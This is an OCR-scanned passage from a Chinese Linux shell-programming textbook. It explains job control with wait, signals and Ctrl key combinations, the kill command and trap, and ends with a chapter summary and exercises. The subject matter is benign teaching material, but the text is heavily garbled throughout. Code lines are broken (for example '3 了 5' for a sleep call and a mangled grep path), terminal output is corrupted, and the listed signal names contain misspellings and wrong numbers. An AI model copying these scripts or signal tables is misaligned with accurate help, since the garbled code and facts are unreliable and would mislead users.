的 作业 ， 最 后 第 2 个 提交 的 作业 实际 上 就 是 由 vi input 命令 所 提交 的 作业 ，bash Shell 出 现 提 
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示 信 息 : 已 经 删除 进程 号 为 1781 的 作业 ， 这 表示 disown 删除 作业 成 功 。 接 着 ，disown 1819 
命令 以 进程 号 的 方式 指定 所 要 删除 的 作业 ，bash Shell 出 现 类 似 的 提示 信息 。 两 条 disown 命 
令 执 行 结 束 后 ， 再 次 用 jobs 命令 查看 作业 列表 时 ， 作 业 列 表 已 经 为 空 ， 再 次 验证 了 上 述 两 条 
disown 命令 确实 已 将 A A 
wait 命令 用 于 等 待 后 台 作 业 完 成 ，subsparallel.sh 脚本 已 经 使 用 到 了 wait 命令 。 下 面 再 举 
一 个 例子 ， 和 wait 命令 使 用 前 后 的 区 别 ， 新 建 名 为 backls.sh 的 脚本 ， 内 容 如 下 : 


# 例 12-18: backls.sh 脚本 演示 wait 命令 的 用 法 
#!/bin/bash 



























































































































































T/C ee en on # 列 出 /etc 目录 下 以 rc 开头 、 紧 跟 数 字 的 文件 


eeheo The Selrpe quLesoneow, 





wait 


backls.sh 脚本 并 不 复杂 ， 先 向 后 台 提 交 一 个 作业 ， 功 能 是 





























列 出 /etc 目录 下 以 rc 开头 、 紧 
跟 数字 的 文件 ， 然 后 打印 一 行 语 句 ， 最 后 一 行使 用 wait 命令 等 待 后 台 运 行 的 作业 。 下 面 给 出 


backls.sh 脚本 的 运行 过 程 ， 第 1 次 运行 将 wait 命令 注释 掉 ， 第 2 次 运行 不 注释 wait 命令 。 
# 例 12-18 back1ls .sh 脚本 的 执行 结果 
[root@zawu shell-program]# chmod u+x backls.sh 
[root@zawu shell-program]# ./backls.sh # 将 wait 命令 注释 掉 后 的 运行 结果 
Tne scene omnes nom # 打 印 完 这 行 语句 后 ，backls . sh 脚本 就 已 经 结束 
[root@zawu shell-program]# rc0.d # 但 是 后 台 的 1s 作业 仍然 在 运行 
TECH 









































la} 

Qa 

心 
色色 色色 各 


Le 
# 输 入 Enter 键 

[root@zawu shell-program]# 

[root@zawu shell-program]# ./backls.sh #wait 命令 存在 时 的 运行 结果 
Tens em es nol 

El 

i 





三 @ 匈 
ES 
eA 


名 和 包 生 名 鱼 


Ie 
CGO #backls. sh 脚本 等 待 后 台 的 1s 作业 运行 结束 后 才 结 束 


[root@zawu shell-program]# 

当 backls.sh 脚本 没有 wait 命令 时 ， 它 将 ls 命令 提交 到 后 台 运 行 ， 在 打印 一 行 语句 之 后 ， 

backls.sh 脚本 就 运行 结束 并 退出 。 因 而 ,此 时 The Scirpt quits now! 后 面 立 刻 出 现 Shell 提示 符 ， 

s 命令 的 结果 是 在 Shell 提示 符 后 输出 的 ， 显 得 格外 凌乱 。 但 是 ， 当 sh 脚本 最 后 一 行 

wait 命令 时 ， 它 将 ]s 命令 提交 到 后 台 运 行 ， 在 打印 一 行 语句 之 后 ， 命令 运行 完毕 
之 后 才 退 出 。 因 此 ，ls 命令 得 到 的 结果 全 部 打印 出 来 后 ， 才 出 现 Shell 0 













































































12.3.3 ”信号 
信号 是 Linux 进程 间 通 信 的 一 个 重要 而 复杂 的 概念 ， 它 是 在 软件 层次 上 对 中 断 机 制 的 一 
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种 模拟 ， 在 原理 上 ， 














个 进程 收 到 一 个 信号 与 处 到 





器 收 到 一 个 5 





hl 





FP 断 请 求 可 以 说 是 一 样 的 。 信 














号 是 异步 的 ， 一 个 进程 不 必 通 过 任何 操作 来 等 待 信号 的 到 达 ， 事 实 上 ， 进 程 也 不 知道 信号 到 








底 什么 时 候 到 达 。 信 和 号 事件 的 发 生 有 两 个 来 源 : 硬 从 




















来源， 比如 我 们 按 下 了 键盘 或 者 其 他 便 


件 故 障 ;， 软件 来 源 ， 最 常用 发 送信 号 的 系统 函数 是 kill、raise、alarm 、setitimer 和 sigqueue 











函数 , 软件 来 源 还 包括 一 些 非 法 运算 等 操作 。 信号 是 进程 间 通 信 机 制 中 唯 























的 异步 通信 机 人 











一 各 

















可 以 看 做 是 异步 通知 , 通知 接收 信号 的 进程 有 哪些 事情 发 生 了 。 信号 机 制 经 过 POSIX 实时 扩 
展 后 ， 功 能 更 加 强大 ， 除 了 基本 通知 功能 外 ， 还 可 以 传递 附加 信息 。 


















































从 Linux 内 核 角度 冰释 信号 是 一 件 复杂 的 事 








送信 号 ， 完 成 相关 的 操作 。 












































和 ,本 书 仅 从 Shell 的 角度 介绍 如 何 向 进程 发 














向 进程 发 送信 号 大 多 通过 “Ctrl” 键 加 上 一 些 功 能 键 来 实现 的 ， 上 一 节 提 及 的 “Ctrl+Z” 
组 合 键 就 是 一 种 发 送信 号 的 方法 。 我 们 将 常见 的 “Ctrl” 组 合 键 及 其 意义 列 于 表 12-3 中 。 
































表 12-3 Ctrl 组 合 键 、 信 号 类 型 及 其 意义 
组 合 键 




















Ctrl+C 


INT 信号 ， 即 interrupt 信号 


停止 当前 运行 的 作业 





Ctrl+Z TSTP 信号 ， 即 terminal stop 信和 号 


使 当 


前 运行 的 作业 暂时 停 上 上 《 转 六 阻塞 态 ) 





Ctrlt\ QUIT 信和 号 


Ctrl+C 日 








的 强化 版 本 ， 当 Ctrl+C 无 法 停止 作业 时 ， 使 用 此 组 合 键 

















Ctrl+Y TSTP 信号 ， 即 terminal stop 信和 号 























当 进 程 从 终端 读 取 输入 数据 时 ， 和 暂时 停止 该 进程 


下 面 举 一 个 例子 说 明 “CtrltC” 组 合 键 的 用 法 ,将 sleep55.sh 脚本 提交 到 前 台 运 行 ，Shell 

















将 处 于 等 待 状态 ， 按 下 “Ctrl+C” 组 合 键 后 ，sleep5$.sh 作业 立即 停止 ，Shell 也 不 再 等 待 。 














# 例 12-19: Ctrl+C 组 合 键 的 用 法 
[rzoot@Jselab shell-=lbook]| 
Re 
[root@jselab shell-book] 











Ctrl+C 是 最 常用 的 停止 当前 作业 的 组 合 键 ， 如果 Ctrl+C 停 



































以 使 用 更 强 的 组 合 键 : 
# 例 12-20: Ctr1l+\ 的 用 法 

















[root@jselab shell-book]# ./sleep55.sh 





MN /SIE ee Mme Se A Mab 
# 退 出 状态 值 为 4814， 表 示 强 行 结束 





[root@jselab shell-book]# 


上 例 仍然 将 sleep55.sh 脚本 提交 到 前 台 

















态 值 表示 强行 退出 。 

































































/sleepB55.sh 


过 














披 正 





提交 前 合作 业 











pa 





Ctrli+C 组 合 键 


eles. el vl 


FE: 不 掉 当 前 的 作业 时 ,我 们 可 








CtrlLHN\， 下 面 的 例 12-20 演示 了 Ctrl 由 的 用 


和 云 : 








提交 前 台 作业 ， 按 下 ctr1l+\ 组 合 键 


sleep 30 


行 ， 然 后 按 下 “Ctrl+\” 组 合 键 ，Shell 提示 第 3 
行 4814 退出 ， 即 脚本 第 3 行 sleep 55 以 4814 状态 值 退 出 ， 从 第 7 章 的 论述 可 知 ，>128 的 状 























“Ctrl+Y” 组 合 键 实 际 上 与 “Ctrl+Z” 组 合 键 是 类 似 的 ， 都 是 向 进程 发 送 TSTP 信和 号， 表 
示 将 进程 暂时 停止 ， 但 是 它们 的 区 别 在 于 :“Ctrl+tY” 组 合 键 仅 可 
据 时 ， 暂 时 停止 该 进程 ， 而 “Ctrl+Z” 组 合 键 则 可 以 随时 暂时 停止 进程 。 











以 在 进程 从 终端 读 取 输 入 数 








除了 利用 组 合 键 发 送信 号 之 外 ， 内 建 命令 kill 可 用 于 向 进程 发 送 TERM ( 即 terminal) 信 





号 ,功能 与 NT 信号 类 似 , 也 用 于 停止 进程 
建 的 进程 ， 而 Kill 命令 可 以 通过 进程 号 、 作 业 号 或 进 






































、 








kill 命令 是 Linux 的 第 用 命令 ， 下 面 我 

















门 誉 P 

















。 表 12-3 所 列 出 的 组 合 键 是 将 信号 发 送 到 最 近 创 
名 癌 任 何 作业 发 送信 号 。 
列子 说 明 kill 命令 的 用 法 ， 首 先 看 下 面 的 
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例 12-21: 

例 12-21: kill 命令 的 用 法 
root@jselab shell-book]# 
a sl 
root@jselab shell-book]# kill %1 
root@jselab shell-book]# jobs 

1]+ 已 终止 /SS sn 
root@jselab shell-book]# 


上 例 将 sleep55.sh 脚本 提交 到 后 台 运 
定 作业 号 为 n 的 作业 ， 


./sleeB55.sh & 

































































己 终 止 ， 这 说 明 ./sleep55.sh 进程 确实 已 经 被 杀 掉 。 
接着 , 我 们 再 举 一 个 kill 命令 通过 进程 

内 容 如 下 : 
# 例 12-22: 





#!/bin/bash 


kill $$ 
echom DoesMthrsY lineNappeare 


， 作 业 号 为 1，kill 谷 
执行 完 kill 命令 ， ， jobs 命令 

















号 杀 死 进程 
作业 ，./sleep55.sh 己 终 止 




















命令 与 fe 命令 类 似 ， 用 %n 指 
令 查 看 后 台 作 业 时 ，Shell 提示 ./sleep55.sh 








号 来 杀 掉 进程 的 例子 , 新 建 名 为 selfkill.sh 的 脚本 ， 
































selfkil1l. sh 脚本 演示 ki1l1l 命令 通过 用 进程 号 杀 掉 自己 的 进程 的 用 法 





# 位 置 参数 $$ 表示 本 身 的 进程 号 
# 这 一 行 还 会 打印 出 来 么 ? 



































selfkill.sh 脚本 利用 kill $$ 杀 掉 自己 本 身 的 进程 , 这 是 因为 $$ 记录 了 运行 该 脚本 的 进程 号 ， 


二 疆 困 


下 面 给 出 selfkill.sh 脚本 的 执行 结果 : 


# 例 12-22 selfki11.sh 脚本 的 执行 结果 


























[root@jselab shell-book]# chmod u+x selfkill.sh 


[root@jselab shell-book]# ./selfkill.sh 
































# 一 运行 selfki1l1l .sh 脚本 就 终止 了 









































已 终止 

[root@jselab shell-book]# echo $? # 退 出 码 是 143 

143 

从 selfkill.sh 脚本 的 执行 结果 可 以 看 出 , selfkill.sh 脚本 最 后 一 行 的 echo 语句 并 没有 执行 ， 
这 是 因为 selfkill.sh 脚本 第 一 句 kill $$ 命令 就 已 经 将 自己 本 身 的 进程 杀 掉 了 , 命令 中 的 $$ 是 该 
脚本 的 进程 号 ， 因 此 ，selfkill.sh 脚本 中 的 kill 命令 是 通过 进程 号 来 指定 作业 的 。 

另外 ， 我 们 还 注意 到 ，selfkill.sh 脚本 的 退出 码 是 143， 大 于 128 的 退出 码 表示 脚本 是 被 
系统 强行 结束 的 ， 然 而 ， 此 处 selfkill.sh 脚本 的 退出 码 还 是 有 其 他 含义 的 : 当 Shell 脚本 收 到 








信号 时 ， 退 出 码 是 128+N，N 是 该 脚本 所 收 到 信号 的 标号 ， 此 时 ，selfkill.sh 收 到 的 是 TERM 



















































































信号 ，TERM 信号 的 标号 正好 是 15， 所 以 有 128+15=143。kill -1 命令 可 以 列 出 kill 命令 能 发 
出 的 所 有 信和 号 及 其 标号 ， 如 下 所 示 : 
root@jselab ~]# kill -1 # 列 出 kill 命令 能 发 出 的 所 有 信号 
) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 
1) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 
6) STGSTKELT JUST GCRED 18) SIGCONT 19) SIGSTOP 20W STeTSTP 
2 STOTTIN 22) OFSGTTLONY 23) SIGURG 24) SIGXCPU 2Z25) STSXES, 
26) SIGVTALRM 21) SIGPROPF 28) SIGWINCH 29) SIGIO 30) SIGPWR 
SI SleaYSs 34) SIGRTMIN 35) SIGRIMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 
48) SIGRIMIN+14 49) SIGRIMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 
华 清 1 元 万 1 华 清 远见 教育 集团 官网 : www. hqyj. com 








300 





《Linux Shell 编程 从 初学 到 精通 》 


63) SIGRTMAX-1 





64) 


从 上 面 kill -! 的 结果 可 以 看 出 ，kill 命令 一 


SIGRTMAX 




















实际 上 就 是 TERM 信和 号 。 


12.3.4 ”trap 命 全 


人 人 
PY 今 


瑟 | 


trap 是 Linux 的 内 建 命令 , 它 用 于 捕 提 信号 ,trap 命令 可 以 指定 收 到 某 利 
， 比 如 ，trap 可 以 指定 收 到 由 “Cta+C” 组 合 键 押 触发 的 INT 信号 时 ， 执 行 中 断 处 理 命 


令 。trap 命令 的 格式 如 下 : 











7 





trap command sigl sig2 .sigN 
上 述 格式 的 trap 命令 表示 当 收 到 sigl、sig2、...、sigN 中 任意 一 个 信号 时 , 执行 command 
命令 ，command 命令 完成 后 ， 脚 本 继续 收 到 信号 前 的 操作 ， 直 到 脚本 执行 结束 。 

下 面 我 们 举例 子 说 明 trap 命令 的 用 法 ， 新 建 名 为 traploop.sh 的 脚本 ， 内 容 如 下 : 





# 例 12-23: traploop.sh 


#!/bin/bash 


# 一 旦 收 到 INT 信号 ， 
































邯 本 演示 trap 命令 捕捉 INT 信号 的 用 法 


执行 双 引 号 内 的 echo 命令 
















































































信号 时 所 执行 的 
日 





能 发 出 64 种 信号 ，15 号 信号 为 SIGTERM ， 


et 


nal ee Von ON NE 
while ac # 使 用 冒号 表示 永 真 ， 无 限 循环 
let count=count+1 # 记 录 进 入 循环 的 次 数 
echo "This is the $count sleep" 
3 了 5 # 每 次 循环 休眠 5 秒 
done 
traploop.sh 脚本 主体 是 一 个 while 循环 , 条件 是 冒号 ， 此 时 冒号 表示 永 真 ， 因 此 ，while 
循环 是 无 限 的 ， 每 次 循环 休眠 5 秒 ， 并 定义 变量 count 记录 进入 循环 的 次 数 。 在 while 循环 


之 前 ， 利 用 trap 命令 捕捉 INT 信号， 即 与 Ctrl+C 相 绑 定 的 9 














收 到 INT 信和 号， 就 打印 “You hit CONTROL+C!” 的 提示 信息 。 


执行 


即 第 1 次 进入 while 循环 3 


结果 : 
例 12-23 traploo 


sse sa 
CYeou ec oe 
hse te sl 
ns se en es 





he he sa 
youbel ura elas :5 el 
Co ni Coumnaoe 
Cre sy 
the /ns 
Grenersy 
Cnensas 


ulowabe! ub 
he 二 避 
Uo ala 








Mo le 





root@jselab shell 
root@jselab shell 


eveounmseeoNEROr: 


p. sh 脚本 的 执行 结果 














PP 断 信号 ，traploop.sh 脚本 
































下 面 给 出 traploop.sh 脚本 的 















































=5ooaHEecimoauateaclioopss 
-book]# ./traploop.sh 
eep 
L+C! # 第 1 次 输入 “ctrl+c” 组 合 键 
eep # 第 1 次 休眠 停止 ， 立 即 进入 第 2 次 休眠 
eep 
L+C! # 第 儿 次 输入 “CtZ14C” 组 合 键 
eep # 第 3 次 休眠 停止 ， 立 即 进 入 第 4 次 休眠 
eep 
L+C! # 第 2 次 输入 “Ctrl+Cc” 组 合 键 ， 效 果 与 上 面 两 次 一 样 
eep 
eep 
eep 
eep 











traploop.sh 脚本 的 执行 结果 是 有 趣 的 ， 执 行 traploop.sh 脚本 后 ， 立 即 进入 第 1 次 休眠 ， 
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执行 sleep 5 命令 ， 此 时 ， 我 们 输入 “CtrltC” 组 合 键 ， 就 向 运行 
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traploop.sh 脚本 的 进程 发 送 了 INT 信号 ，traploop.sh 脚本 捕捉 到 后 ， 立 即 跳出 第 1 次 休眠 ， 
即使 休眠 时 间 不 足 $ 秒 , 然后 打印 “You hit CONTROL+C!” 的 提示 信息 , 随即 再 次 进入 while 
循环 并 执行 sleep 5 命令 ， 进 入 了 第 2 次 休眠 。 我 们 又 分 别 在 第 3 次 休眠 和 第 5 次 休 卢 时 ， 输 
入 “Ctrl+C” 组 合 键 ， 进 程 立 刻 跳 出 休眠 状态， 打印 信息 ， 再 进入 下 一 次 的 休眠 状态 。 

traploop.sh 脚本 的 例子 很 好 地 印证 了 trap 命令 的 执行 过 程 ，trap 命令 还 可 以 忽略 某 些 信 
号 , 即 进程 收 到 某 些 信号 后 不 做 任何 处 理 , 我 们 只 要 简单 地 将 trap 命令 的 command 用 空 字符 
串 代 替 即 可 (" "或 '')。 下面 举 一 个 例子 来 说 明 trap 命令 忽略 信号 的 用 法 , 新 建 名 为 nokillme.sh 
的 脚本 ， 内 容 如 下 : 
例 12-24: nokillme .sh 脚本 演示 trap 命令 忽略 信号 的 用 法 
!/bin/bash 




























































































| 





























trap "" TERM INT # 和 忽略 对 TERM 和 INT 两 种 信号 的 处 理 
# 如 果 还 要 忽略 其 他 信号 ， 将 它们 添加 到 INT 之 后 

















# 无 限 循环 ， 每 次 进入 循环 体 都 休眠 5 秒 
WE 
Sleep 5 





done 


nokillme.sh 脚本 的 框架 与 traploop.sh 脚本 类 似 ， 也 是 先 定义 一 个 无 限 循环 ， 每 次 进入 循 













































































环 体 都 休眠 5 秒 ， 在 while 循环 之 前 利用 trap 捕捉 TERM 和 INT 信 号， 捕捉 到 信和 号 后 什么 也 
不 做 ， 相 当 于 忽略 了 TERM 和 INT 信号 ， 下 面 给 出 nokillme.sh 脚本 的 执行 结果 : 

# 例 12-24 nokillme.sh 脚本 的 执行 结果 

[root@jselab shell-book]# ./nokillme.sh & 

[Lil 5327 

[root@jselab shell-book]# kill %1 # 试 图 杀 死 nokillme .sh 进程 

[root@jselab shell-book]# jobs #nokillme .sh 仍然 运行 

[Lal se /nokillime snes 

上 例 中 ， 我 们 将 nokillme.sh 脚本 提交 到 后 台 运 行 ， 系 统 分 配给 它 的 作业 号 是 1， 进 程 号 



































是 5327， 然 后 我 们 试图 用 kill %1 命令 杀 死 1 号 作业 ， 由 于 kill 命令 发 送 的 是 TERM 信号， 
nokillme.sh 脚本 的 trap 命令 忽略 了 对 TERM 信号 的 处 理 。 因 此 ，kill %1 命令 不 能 杀 死 
nokillme.sh 进程 。 
如 何 才能 杀 死 像 nokillme.sh 这 样 的 “顽固 ”进程 呢 ? Linux 提供 了 一 种 更 为 强劲 的 命令 : 
kill -9 %1，kill 命令 向 1 号 作业 发 送 9 号 信号 杀 死 进程 , 9 号 信号 实际 上 就 是 KILL 信号, 因此 ， 































































































kill -9 %1 命令 等 价 于 kill -KILL %1 命令 。 下 面 给 出 用 kill -9 命令 杀 死 nokillme.sh 进程 的 结果 : 
[root@jselab shell-book]# kill -9 %1 # 用 更 为 强劲 的 命令 杀 死 nokillme. sh 进程 
[root@jselab shell-book]# jobs #nokillme. sh 已 杀 死 
fi 时 于 还 有 





最 后 ， 我 们 论述 12.1.2 节 遗 留 下 来 的 一 个 问题 ， 在 12.1.2 节 中 ， 我 们 提 及 子 Shell 能 继 
承 父 Shell 所 忽略 的 信号 ， 但 是 ， 不 能 继承 父 Shell 未 忽略 的 信号 。 我 们 举 一 个 例子 来 论证 这 
个 观点 ， 创 建 两 个 脚本 : forever.sh 和 subsig.sh，forever.sh 脚本 的 内 容 如 下 : 


# 例 12-25: forever .sh 脚本 演示 无 限 循 环 等 待 
#!/bin/bash 
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done 

forever.sh 脚本 是 供 subsig.sh 脚本 调用 创建 子 Shell 的 ， 功 能 就 是 无 限 循 环 ， 每 次 循环 休 
眠 5 秒 ， 即 forever.sh 脚本 永远 不 会 停止 ， 除 非 被 kill 命令 杀 掉 。subsig.sh 脚本 的 内 容 如 下 : 

# 例 12-26: subsig.sh 脚本 演示 子 Shel1 继承 父 Shell 所 忽略 的 信和 号 

# 但 不 继承 父 Sshell 未 忽略 的 信号 

#!/bin/bash 











# 和 忽略 QUIT 信号 
# 捕 捉 到 TERM 信号 后 ， 打 印 提示 信息 


UEP 
trap "echo "You want to kill me""” TERM 





( # 将 forever .sh 脚本 作为 子 Shell1， 子 Shel1 将 无 限 休眠 


./forever.sh 


) 
subsig.sh 脚本 使 用 了 两 次 trap 命令 ， 将 QUIT 信号 忽略 ， 但 是 ， 不 忽略 TERM 信号 ， 捕 
捉 到 TERM 信号 后 ， 需 要 打印 提示 信息 ， 然 后 利用 圆 括号 结构 创建 子 Shell， 子 Shell 运行 
forever.sh 脚本 ， 因 此 ， 子 Shell 永远 处 于 休眠 状态 。 下 面 给 出 父子 Shell 处 理 QUIT 和 TERM 
言 号 的 测试 过 程 : 
# 例 12-26 subsig.sh 脚本 的 执行 结果 
[root@jselab shell-book]# ./subsig.sh & 























# 运 行 supsig. sh 脚本 























[Ee # 返 回 父 Shel1 的 作业 号 和 进程 号 
[root@jselab shell-book]# kill -3 1876 # 向 父 She11 发 送 3 号 信号 ， 即 QUIT 信号 
[root@jselab shell-book]# ps -a 

下 让 二 下 下 六 TIME CMD 

1876 pts/0 00:00:00 subsig.sh # 父 Shell 未 退出 ， 说 明 QUIT 信号 被 忽略 
ey es QM- 00.000 foreversi 

el Vas 00:00:00 sleep 

1882 pts/0 00:00:00 ps 
[root@jselab shell-book]# kill -3 1877 # 向 子 Shell 发 送 3 号 信号 ， 即 QUIT 信号 
[root@jselab shell-book]# ps -a 

下 TIME CMD 

7 ES/0 OOOOR OO Ss ues sh 

Te 00:00:00 forever.sh # 子 Shell 也 未 退出 ， 说 明 QUIT 信号 也 被 忽略 
1886 pts/0 00:00:00 sleep 

1887 pts/0 00:00:00 ps 
[root@jselab shell-book]# kill 1876 # 向 父 Shel1 发 送 TERM 信号 
[root@jselab shell-book]# ps -a 

Poo TEME CMD 

1876 pts/0 00:00:00 subsig.sh # 父 Shell 仍 未 被 杀 掉 

eye 00:00:00 forever.sh 

Toee2 os/ 00:00:00 sleep 

1893 pts/0 00:00:00 ps 
[rocaesernaD sn oom me 问 子 Shel1 发 送 TERM 信号 
[root@jselab shell-book]# 已 终止 子 Shell 立刻 被 终止 





You want to kill me 


[le pie be 


[root@jselab 


我 们 先 将 subsig.sh 脚本 提交 到 后 台 运 行 ,Shell 立刻 返 
利用 kill -3 1876 向 父 Shell 发 送 3 号 信和 号， 
就 是 QUIT 信号 ， 当 我 们 用 ps -a 查看 进程 时 ， 发 现 1876 号 进程 仍然 存活 ， 说 明 QUIT 信和 号 


/As lee en 
shell-book]# 























er! 











1876 是 父 Shell 的 进程 号 ， 而 
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并 打印 出 父 Shel1l 对 TERM 信号 的 响应 信息 


父 Shell 随 着 子 Shel1 的 终止 而 终止 

















父 进 程 的 作业 号 和 进程 号 , 接着 ， 
kill 命令 的 3 号 信号 
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并 未 使 父 Shell 退出 ， 这 正 是 由 于 subsig.sh 脚本 使 用 trap 命令 忽略 了 QUIT 信号， 同样 ， 利 
用 kill -3 1877 向 子 Shell 发 送 QUIT 信号 ， 子 Shell ( 即 运 行 forever.sh 脚本 的 进程 ) 的 进程 号 
是 1877， 这 可 在 上 一 个 ps -a 命令 的 结果 中 获得 ， 再 次 输入 ps -a 命令 时 发 现 1877 号 进程 也 
未 被 杀 掉 ，subsig.sh 脚本 创建 子 Shell 时 并 未 用 trap 命令 忽略 任何 信号 ， 因 此 ， 子 Shell 对 
QUIT 信号 的 忽略 从 父 Shell 那里 继承 来 的 。 上 述 对 QUIT 信和 号 的 测试 过 程 就 充分 说 明了 子 
Shell 能 继承 父 Shell 所 忽略 的 信和 号。 

接 下 来 ,我 们 对 TERM 信号 进行 测试 ， 首 先 利用 kill 1876 命令 向 父 Shell 发 送 TERM 信 
号 ， 输 入 ps -a 命令 查看 进程 ， 发 现 1876 号 进程 仍然 存活 ， 这 是 预料 之 中 的 ， 因 为 subsig.sh 
脚本 捕捉 到 TERM 信号 ， 并 不 退出 ， 而 是 打印 一 行 信息 ， 但 是 ， 此 时 信息 却 未 打印 到 Shell 
上 , 这 是 由 于 subsig.sh 脚本 在 后 台 运 行 ,输出 信息 要 等 到 subsig.sh 脚本 运行 结束 后 才能 打印 
出 来 。 再 用 kill 1877 命令 向 子 Shell 发 送 TERM 信号 ， 命 令 输 完 后 立即 跳出 已 终止 的 信息 ， 
并 跳出 父 Shell 响应 TERM 信和 号 的 信息 “You want to kill me”， 然 后 父 Shell 也 随 之 结束 ， 这 
说 明 TERM 信号 能 够 杀 掉 子 Shell， 子 Shell 不 能 继承 父 Shell 未 忽略 的 信号 。 


124 本国 站 


本 章 详 细 地 阐述 了 bash Shell 在 多 作业 管理 和 进程 处 理 方面 的 命令 与 机 制 ， 涉 及 的 内 容 
极为 丰富 。 子 Shell 是 根据 内 建 命令 而 定义 的 , 我 们 总 结 了 bash Shell 的 内 建 命令 ,这些 内 建 
命令 的 使 用 贯穿 于 全 书 ， 因 而 ， 本 章 并 未 逐个 展开 介绍 所 有 的 bash Shell 内 建 命令 ， 只 重点 
介绍 了 内 建 命令 中 冒号 的 用 法 。 然 后 ， 详 细 讨 论 如 何 使 用 圆 括号 结构 创建 子 Shell， 曾 明了 子 
Shell 能 够 从 父 Shell 继承 和 不 能 继承 的 一 些 特性 。Shell 的 限制 模式 是 bash Shell 基于 安全 性 
的 设计 ， 我 们 介绍 了 Shell 限制 模式 的 特性 ， 以 及 两 种 进入 Shell 限制 模式 的 方法 。 最 后 ， 我 
们 深入 阐述 了 进程 处 理 方面 的 内 建 命令 , 这 些 命令 可 以 用 于 控制 作业 、 发 送信 和 号、 捕捉 信号 。 
熟练 地 掌握 了 这 些 内 建 命令 有 助 于 控制 和 管理 Linux 中 的 进程 和 作业 。 


125 要 下 下 人 


1. 在 圆 括号 结构 内 ， 再 次 利用 
量 的 值 。 
. 思考 12.1.2 节 subscol.sh 脚本 的 例子 中 为 何 要 将 var 定义 为 环境 变量 ， 若 将 export var 
命令 去 掉 ， 执 行 subscolsh 脚本 ， 观 察 所 产生 的 结果 。 
3. 下 面 的 脚本 名 为 printalluser.sh, 它 用 于 打印 所 有 的 系统 用 户 根 目录 下 的 文件 , 运行 它 ， 
观察 所 产生 的 结果 ， 并 测试 printalluser.sh 脚本 多 次 使 用 cd 命令 切换 当前 工作 目录 是 否 对 父 
Shell 产生 影响 。 


#printalluser. sh 脚本 : 打印 所 有 的 系统 用 户 根 目录 下 的 文件 
#!/bin/bash 
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括号 结构 创建 子 Shell， 并 逐 层 打印 $SBASH SUBSHELL 











~ 












































五 
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echo "Father Shell’s work directory is: $PWD" 


Eer HOME In owe EE: 


do 
cd $HOME 
soma 
done 
echo 


me ben /Eeeasswe 


eenem eaenemsnel ve ee om se end 


4. 将 12.1.2 节 subsparallel.sh 脚本 中 wait 命令 去 挥 ， 再 次 执行 该 脚本 ， 对 parttotal 文人 


进行 计数 ， 分 析 其 原因 。 


5. 在 Shell 的 限制 模式 下 ， 改 变 环 ] 
改变 $SSHELLOPTS 变量 的 值 )， 观 察 所 产生 的 结果 。 












































6. 执行 subsparallel.sh 


























这 三 个 子 Shell 的 作业 号 ?为 什么 ? 
7. 下 面 的 equal subsparallel.sh 脚本 将 subsparallel.sh 脚本 中 的 圆 括号 结构 去 掉 ， 改 成 了 


















































I 





模 变 量 $PATH， 开 局 或 关闭 某 些 bash Shell 选项 ( 即 


基本， 查看 它 所 创建 的 三 个 子 Shell 的 进程 号 ， 并 分 析 是 否 能 获取 


普通 的 后 台 运 行 的 作业 ， 执 行 equal subsparallel.sh 脚本 ， 比 较 equal subsparallel.sh 脚本 和 


subsparallel.sh 脚本 的 执行 结果 。 执 行 ps -a 命令 ,观察 此 时 是 否 能 获得 三 个 后 台 作 业 的 作业 























号 和 进程 号 ， 分 析 其 中 的 原 











因 。 


# equal subsparallel.sh 脚本 


#!/bin/bash 


grep -rr "FO0Ot" /ete/* 


Msoae ere 


gree oo ur lea so eat 


Ep root 


wait 


sore > Pare 


等 待 后 台 执 行 的 作业 全 部 完成 后 ， 


# 将 partl1、part2 和 part3 三 个 临时 文件 合并 ， 排 序 后 重 定向 到 parttotal 文件 


ea poartl oarta parts 





Mseort > orceocal 


echo "Run time of this script is: $SECONDS" # 输 出 该 脚本 的 执行 时 间 





8. 分 别 将 12.3.2 节 中 的 sleep55.sh 和 sleep10.sh 脚本 提交 到 后 台 运 行 ， 然 后 












































再 执行 下 面 的 命令 


利用 全 命令 


将 sleep10.sh 脚本 的 进程 放 到 前 台 ， 要 求 使 用 三 种 fe 指定 作业 的 方式 : (1) %string ; 





(2) %?string; (3) %t+ 和 %%。 

















9. 用 vi 命令 打开 任意 























路 















































10. 与 上 题 一 样 ， 仍 然 用 vi 命令 打开 任意 一 个 文件 ， 近 “CtrlH\” 











合 键 的 作用 。 








个 文件 ， 先 利用 “Ctrl+Z” 组 合 键 将 执行 人 
然后 用 bg 命令 将 该 进程 放 到 后 台 运 行 ， 接 着 用 fg 命令 将 该 进程 转 到 前 台 运 行 ， 最 后 ， 对 
运行 的 vi 命令 进程 按 “Ctrl+C” 组 合 键 ， 观 察 与 “Ctrl+Z” 组 合 键 的 区 别 。 





vi 命令 的 进程 阻塞 ， 











组 合 键 ， 验 证 这 种 





前 


组 


11. 运行 12.3.4 节 给 出 的 traploop.sh 脚本 ， 首 先 按 “Ctrl+C” 组 合 键 ， 验 证 traploop.sh 

















脚本 的 捕捉 信号 功能 。 然 后 ， 启 动 一 个 新 的 Shell， 先 用 ps -a 命令 获得 运行 

进程 号 ， 再 用 kill 命令 向 该 进程 发 送 INT 
12. 编写 12.3.4 节 给 出 的 forever.sh 

两 个 进程 发 送 QUIT 和 TERM 信号 ， 验 订 
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言 号 ， 观 察 traploop.sh 脚本 是 否 仍然 能 捕捉 该 信号 
脚本 和 subsig.sh 脚本 ， 分 别 向 运行 上 述 两 个 脚本 
F 父 子 Shell 在 信号 方面 的 继承 关系 。 











-traploop.sh 脚本 的 
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和 其 他 的 编程 语言 一 样 ，Linux Shell 编程 中 也 有 函数 。 函 数 可 以 > 1 3 
